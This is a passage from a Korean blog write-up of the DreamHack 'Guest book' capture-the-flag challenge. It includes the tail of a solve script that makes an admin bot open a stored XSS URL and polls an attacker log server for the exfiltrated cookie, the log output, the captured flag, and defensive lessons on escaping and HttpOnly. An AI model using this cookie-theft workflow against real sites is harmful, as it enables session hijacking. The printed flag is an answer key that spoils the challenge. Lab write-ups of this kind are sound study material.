    sys.exit("[!] 속성 탈출 실패 — 서버 PHP 가 8.1+ 라 홑따옴표가 이스케이프됐을 수 있다")
 
# ── 2. 관리자 봇에게 그 URL 을 열게 한다 ───────────────────────────────────
# 봇은 http://127.0.0.1/<path> 를 연다. path 안에 들어갈 쿼리값은 미리 인코딩한다.
path = "GuestBook.php?content=" + urllib.parse.quote(PAYLOAD, safe="")
rp = requests.post(f"{TARGET}/Report.php", data={"path": path}, timeout=30)
print("[2] Report 전송  :", rp.status_code, "path=" + path[:60] + "...")
 
# ── 3. 수집 서버 로그에서 flag 가 도착하기를 기다린다 ──────────────────────
# VM 을 막 만든 직후에는 리포트 워커가 아직 안 떠서 첫 한 번이 조용할 수 있다.
# 그래서 30초마다 다시 보내며 최대 4분 기다린다.
deadline = time.time() + 240
seen = None
while time.time() < deadline:
    try:
        with open(LOG, errors="ignore") as f:
            m = re.findall(r'GET ' + re.escape(MARK) + r'\?c=[^ "]*(DH\{[^}]+\})', f.read())
        if m:
            seen = m[-1]
            break
    except OSError as e:
        sys.exit(f"[!] 수집 로그를 못 읽는다({e}). 서버 로그를 직접 확인하라: {MARK}?c=...")
    time.sleep(5)
    if int(time.time()) % 30 < 5:
        requests.post(f"{TARGET}/Report.php", data={"path": path}, timeout=30)
 
print("[3] FLAG :", seen or "(시간 초과 — 수집 서버 로그를 직접 확인하라)")

solve.py 실행 — 렌더된 HTML 확인, Report 전송, 수집 로그에서 플래그 회수까지 차례로 찍혀 나온다

세 줄이면 끝난다. 반사 지점에서 속성 탈출이 됐는지 확인하고, Report 를 보내고, 수집 로그에 플래그가 뜰 때까지 기다린다.

수집 서버 쪽 원본 로그도 확인해 둔다.

ssh kali 'grep -oE "\[[^]]+\] .GET /gb41.c=[^\"]*. referer=[^ ]* ua=.*" ~/atk_gb41/access.log | tail -2'

수집 서버 로그 원문. referer 가 127.0.0.1 이고 UA 가 HeadlessChrome 으로 찍혀 있다.

여기가 이 풀이에서 제일 만족스러운 한 줄이다.

referer 가 http://127.0.0.1/ 다. 내 브라우저가 아니라 문제 서버 안에서 돌던 무언가가 보냈다는 뜻이다. 브라우저 식별 문자열은 HeadlessChrome/150. 관리자 봇이 맞다.

그 봇이 자기 쿠키를 쿼리스트링에 담아 스스로 가져다줬다.

DH{26763025e32e6b24fedfc3206054d6a7}

📝 결론

이스케이프는 출력 직전에, 딱 한 번

addLink 의 두 줄은 순서만 바꿔도 상당 부분 막힌다. 링크를 먼저 파싱해 URL 을 추출하고, 그 URL 을 htmlspecialchars($url, ENT_QUOTES) 로 감싼 다음 태그를 조립했다면 홑따옴표는 애초에 속성 밖으로 못 나온다.

지금 코드는 이스케이프를 "입력 필터"처럼 앞에 세워 두고, 정작 위험한 문자열 조립을 그 뒤에서 한다. 이스케이프한 값과 조립해 넣는 값은 다른 값이다.

라이브러리 기본값은 버전에 묶여 있다

같은 htmlentities($s) 가 PHP 7.4 에서는 뚫리고 8.4 에서는 막힌다. 코드를 한 줄도 안 고쳤는데 런타임을 올리는 것만으로 결과가 뒤집힌다.

반대로 말하면, 기본값에 기대어 쓴 코드는 어느 버전에서 검증했는지가 곧 보안 경계다. 플래그를 명시적으로 넘기는 습관이 그래서 필요하다. ENT_QUOTES 를 손으로 적었다면 이 문제는 성립하지 않았다.

필터를 볼 때는 그 뒤에 오는 조립까지 본다

htmlentities 만 보면 안전해 보인다. 실제로 꺾쇠도 쌍따옴표도 다 죽는다. 문제는 그 다음 줄이었다. 필터 자체의 강도보다 필터와 출력 사이에 무엇이 끼어드는지가 더 자주 취약점이 된다.

쿠키에 담을 값과 JS 에서 읽혀도 되는 값은 다르다

이 문제의 플래그는 document.cookie 로 그냥 읽혔다. HttpOnly 만 붙어 있었어도 같은 XSS 로 쿠키를 못 가져간다. XSS 가 뚫린 뒤에도 피해를 줄이는 건 이런 쪽이다.

막혔다고 결론 내기 전에, 실험이 의도대로 도는지부터 본다

첫 리포트가 조용했을 때 나는 곧장 페이로드를 의심했다. 그리고 비교 실험을 짜면서 따옴표를 하나 잘못 세는 바람에, 핸들러가 아예 없는 태그를 던져 놓고 "이 트리거는 안 먹는다"고 읽었다.

렌더 결과를 출력하도록 짜 놓고도 눈으로 확인하지 않은 게 원인이다. 결국 처음 페이로드가 맞았고 서버가 준비되기 전이었을 뿐이다.

[🥇 Gold 2] 이스케이프가 끝난 뒤에 태그를 만들면 소용이 없다 — DreamHack Guest book 풀이

댓글

관련 글

[🥇 Gold 1] 허용된 속성 세 개로 window.CONFIG 를 만들어 낸다 — DreamHack Guest book v0.2 풀이

[🥉 Bronze 4] CSP를 뚫지 않고, 출력을 넘쳐 무너뜨리다 — DreamHack Broken Buffalo Wings 풀이

[🥉 Bronze 4] PHP 정규식 3겹 뚫기 — preg_replace 겹침·알파벳 없는 비번·flag 필터 우회 RCE — DreamHack phpreg 풀이